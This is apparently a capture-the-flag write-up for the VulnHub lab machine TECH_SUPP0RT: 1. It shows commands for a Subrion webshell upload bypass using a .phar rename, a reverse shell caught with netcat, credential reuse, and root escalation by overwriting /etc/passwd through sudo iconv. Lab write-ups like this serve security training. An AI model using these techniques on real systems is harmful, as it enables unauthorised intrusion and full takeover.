TECH_SUPP0RT: 1

This is TECH_SUPP0RT: 1 from VulnHub.

Difficulty: Easy
Background: The machine acts as a server setup by pop-up scammers which is under maintenance.

Let’s go.

Ports

HTTP, SSH and SMB. Let’s begin with SMB.

SMB

We have anonymous login (I use smbclient) and just one file: enter.txt.

┌──(root💀kali)-[/opt/vulnhub/tech_support]
└─# cat enter.txt                                                                       
GOALS
=====
1)Make fake popup and host it online on Digital Ocean server
2)Fix subrion site, /subrion doesn't work, edit from panel
3)Edit wordpress website

IMP
===
Subrion creds
|->admin:7sKvntXdPEJaxazce9PXi24zaFrLiKWCk [cooked with magical formula]
Wordpress creds
|->

So, this implies we have a wordpress installation, and something called subrion which I’ve never heard of. Heading over to CyberChef with our obfuscated credentials and clicking magic gives:

From_Base58(‘123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz’,false)
From_Base32(‘A-Z2-7=’,false)
From_Base64(‘A-Za-z0-9+/=’,true)
Scam2021 Matching ops: From Base64
Valid UTF8
Entropy: 2

So that’s our password for subrion (Scam2021).

Now, this is where I had some trouble. The box came in as a VMDK which I don’t hate but they never tell you which OS it is. Anyway it’s Ubuntu and I set it up, but it was set to NAT. I switched it to Bridged, because that’s how I run my Kali and it started to work but then trying to go to subrion it kept redirecting to a NAT IP address. Bugger; I’ve had this before and it makes it pretty much impossible to continue.

I shut everything down, took a snapshot of my Kali and restarted it in NAT mode, then restarted the box; it worked! This was actually a first for me. But we can continue.

Subrion

We can login easily; it’s a CMS. I poke around and upload a webshell but it’s only got read and write permission; no execute. Navigating to the file says ‘you can’t do that’ or something along those lines. Now what?

There is an exploit. Reading through the code, it appears that phar files can be executed, but not other types. Rather than running the exploit script I use the GUI to rename my shell from shell.php to shell.phar and then visit http://10.0.2.15/subrion/uploads/shell.phar; success!

┌──(root💀kali)-[/opt/vulnhub/tech_support]
└─# nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.0.2.5] from (UNKNOWN) [10.0.2.15] 49774
Linux TechSupport 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 16:17:49 up 13 min,  0 users,  load average: 0.00, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash");'
www-data@TechSupport:/$

Support

We know there is a Wordpress site so I go to /var/www/html/wordpress/ and check wp-config.php for creds:

# snip
/** MySQL database username */
define( 'DB_USER', 'support' );

/** MySQL database password */
define( 'DB_PASSWORD', 'ImAScammerLOL!123!' );
# snip

This can be used to login to mysql, but it’s alse reused for our next user, whose name we get from /etc/passwd:

www-data@TechSupport:/var/www/html/wordpress$ su scamsite
su scamsite
Password: ImAScammerLOL!123!

scamsite@TechSupport:/var/www/html/wordpress$ sudo -l
sudo -l
Matching Defaults entries for scamsite on TechSupport:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User scamsite may run the following commands on TechSupport:
    (ALL) NOPASSWD: /usr/bin/iconv
scamsite@TechSupport:

So; according to GTFOBins we can read and write files with iconv, but there is one catch. The example given for writing files is:

LFILE=file_to_write  
echo "DATA" | iconv -f 8859_1 -t 8859_1 -o "$LFILE"

Where the call to iconv is not the first thing. I usually find with these sudo things that this won’t work; the iconv call needs to be first. Anyway, I can read /etc/shadow and grab the root hash with this; that’s okay but it probably won’t break easily (I don’t try for long). What about SSH? Yes, there is a root SSH key at /root/.ssh/id_rsa and we can read that. However, even though the key is not encrypted, we can’t login with it. Every time I try, I am prompted for a password - presumably something is not right in the server configuration.

┌──(root💀kali)-[/opt/vulnhub/tech_support]
└─# scp -i id_rsa root@10.0.2.15:/etc/shadow shadow                                     
root@10.0.2.15's password: 
Permission denied, please try again.

Debug mode doesn’t help, and even reading /var/log/auth.log with the iconv trick doesn’t help:

Jun 19 16:30:14 TechSupport sudo: scamsite : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/iconv -f 8859_1 -t 8859_1 /var/log/auth.log
Jun 19 16:30:14 TechSupport sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Jun 19 16:30:14 TechSupport sudo: pam_unix(sudo:session): session closed for user root
Jun 19 16:30:46 TechSupport sshd[2035]: Connection closed by 10.0.2.5 port 37610 [preauth]

Now what? Well, we can use iconv for a file write by modifying the GTFOBins code a little. I want to add the line:

root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash

to /etc/passwd. I make a copy of /etc/passwd to /dev/shm/backup and then append the line in:

printf "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash\n" >> /dev/shm/backup

And then I can use inconv to replace /etc/passwd with the modified version using redirection:

scamsite@TechSupport:/$ LFILE=/etc/passwd
LFILE=/etc/passwd
scamsite@TechSupport:/$ sudo -u root /usr/bin/iconv -f 8859_1 -t 8859_1 -o "$LFILE" < /dev/shm/backup
scamsite@TechSupport:/$ su root2
su root2
Password: mrcake

root@TechSupport:/# id;hostname;date
id;hostname;date
uid=0(root) gid=0(root) groups=0(root)
TechSupport
Sat Jun 19 16:39:13 IST 2021
root@TechSupport:
root@TechSupport:~# cat root.txt
cat root.txt
851b8233a8c09400ec30651bd1529bf1ed02790b  -

So; a few challenges along the way but we got there in the end. Huzzah!